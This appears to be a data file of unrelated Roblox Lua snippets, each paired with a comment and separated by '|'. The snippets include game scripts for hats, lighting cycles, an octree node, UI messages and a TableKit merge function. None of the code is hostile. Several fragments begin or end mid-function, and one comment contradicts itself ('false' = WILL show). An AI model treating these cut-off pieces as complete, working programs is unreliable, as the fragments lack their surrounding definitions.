script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0, 0.35, 0.15) -- Change these to change the positiones of your hat, as I said earlier.
wait(5) debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- randomize the random number generator |
math.random(tick())
|
-- Open or close dev console |
return function()
local visible = starterGui:GetCore("DevConsoleVisible")
starterGui:SetCore("DevConsoleVisible", not visible)
end
|
-- Cleanup: |
function Replica:IsActive() --> is_active [bool]
return Replicas[self.Id] ~= nil
end
function Replica:AddCleanupTask(task)
return self._maid:AddCleanupTask(task)
end
function Replica:RemoveCleanupTask(task)
self._maid:RemoveCleanupTask(task)
end
|
--[[
Hey, this is Cancels!
Today I bring to you the Cancels CoreGui Settings, an invention by ... well
... ROBLOX.
If you want to change a setting, do it like this!
"true" = WILL show.
"false" = WILL show.
Don't mess with anything else.
Bye, and cheers for taking!
-Cancels
--]] |
Health_Bar = false
Player_List = true
Tool_Bar = true
Chat = true
|
--/CONFIG |
local hoursInDay = dayEnd-dayStart
local hoursInNight = 24-hoursInDay
local day = true
local originalFog = game.Lighting.FogColor
while true do
local updateDelta = wait(updateTick)
local step = 0
if game.Lighting.ClockTime >=dayStart and game.Lighting.ClockTime <=dayEnd then
step = hoursInDay/daytimeInSeconds
if not day then
day = true
local tween = TweenService:Create(game.Lighting,FogTweenInfo,{FogColor = originalFog})
tween:Play()
end
else
step = hoursInNight/nightInSeconds
if day then
day = false
local tween = TweenService:Create(game.Lighting,FogTweenInfo,{FogColor = Color3.fromRGB(50, 56, 66)})
tween:Play()
end
end
game.Lighting.ClockTime += step*updateDelta
end
|
--- Basic node interacting with the octree
-- @classmod OctreeNode |
local OctreeRegionUtils = require(script.Parent.OctreeRegionUtils)
local OctreeNode = {}
OctreeNode.ClassName = "OctreeNode"
OctreeNode.__index = OctreeNode
function OctreeNode.new(octree, object)
local self = setmetatable({}, OctreeNode)
self._octree = octree or error("No octree")
self._object = object or error("No object")
self._currentLowestRegion = nil
self._position = nil
return self
end
function OctreeNode:KNearestNeighborsSearch(k, radius)
return self._octree:KNearestNeighborsSearch(self._position, k, radius)
end
function OctreeNode:GetObject()
return self._object
end
function OctreeNode:RadiusSearch(radius)
return self._octree:RadiusSearch(self._position, radius)
end
function OctreeNode:GetPosition()
return self._position
end
function OctreeNode:GetRawPosition()
return self._px, self._py, self._pz
end
function OctreeNode:SetPosition(position)
if self._position == position then
return
end
local px, py, pz = position.x, position.y, position.z
self._px = px
self._py = py
self._pz = pz
self._position = position
if self._currentLowestRegion then
if OctreeRegionUtils.inRegionBounds(self._currentLowestRegion, px, py, pz) then
return
end
end
local newLowestRegion = self._octree:GetOrCreateLowestSubRegion(px, py, pz)
-- Sanity check for debugging
-- if not OctreeRegionUtils.inRegionBounds(newLowestRegion, px, py, pz) then
-- error("[OctreeNode.SetPosition] newLowestRegion is not in region bounds!")
-- end
if self._currentLowestRegion then
OctreeRegionUtils.moveNode(self._currentLowestRegion, newLowestRegion, self)
else
OctreeRegionUtils.addNode(newLowestRegion, self)
end
self._currentLowestRegion = newLowestRegion
end
function OctreeNode:Destroy()
if self._currentLowestRegion then
OctreeRegionUtils.removeNode(self._currentLowestRegion, self)
end
end
return OctreeNode
|
-- Fire onRemoved() when something is removed from Model | |
--// All global vars will be wiped/replaced except script |
return function(data, env)
if env then
setfenv(1, env)
end
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local scr = client.UI.Prepare(script.Parent.Parent)
local main = scr.Main
local t1 = main.Title
local t2 = main.Message
local msg = data.Message
local color = data.Color
--[[
local found = client.UI.Get("Output")
if found then
for i,v in pairs(found) do
local p = v.Object
if p and p.Parent then
p.Main.Position = UDim2.new(0, 0, 0.35, p.Main.Position.Y.Offset+50)
end
end
end--]]
t2.Text = msg
t2.Font = "Arial"
--t2.Position = UDim2.new(0, 0, 0.35, 0)
gTable.Ready()
wait(5)
gTable.Destroy()
end
|
--------------------------------- |
local force = Instance.new("BodyForce")
force.Parent = torso
f = force
Tool.Parent.Humanoid.WalkSpeed = 0
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = "Right Leg"
arms[1].Name = "Left Leg"
welds[1].Parent = nil
welds[2].Parent = nil
Tool.Parent.Humanoid.WalkSpeed = 16
end
end |
--local PlaceId = 12095647369 |
local Players = game:GetService("Players")
local DeathEvent = game.ReplicatedStorage.DeathEvent
script.Parent.MouseButton1Click:Connect(function()
--game:GetService("TeleportService"):Teleport(game.PlaceId)
Players.LocalPlayer.Character:WaitForChild("Humanoid").Health = 0
DeathEvent:FireServer()
print("1")
end)
|
--[[ TWEENS/LOCALS ]] | --
local LoadingImage = script.Parent.ImageLabel
local tweenInfo = TweenInfo.new(4, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1)
local tween = TweenService:Create(LoadingImage, tweenInfo, {Rotation=360})
tween:Play()
|
--[=[
Merges two arrays; array2 will be added to array1- this means that the indexes of array1 will be the same.
```lua
local FirstArray = {"A", "B", "C", "D"}
local SecondArray = {"E", "F", "G", "H"}
print(TableKit.MergeArrays(FirstArray, SecondArray)) -- prints {"A", "B", "C", D", "E", "F", "G", "H"}
```
@within TableKit
@param array1 table
@param array2 table
@return table
]=] |
function TableKit.MergeArrays<a, b>(a: { unknown }, b: { unknown }): a & b
local result = table.clone(a)
table.move(b, 1, #b, #result + 1, result)
return result
end
|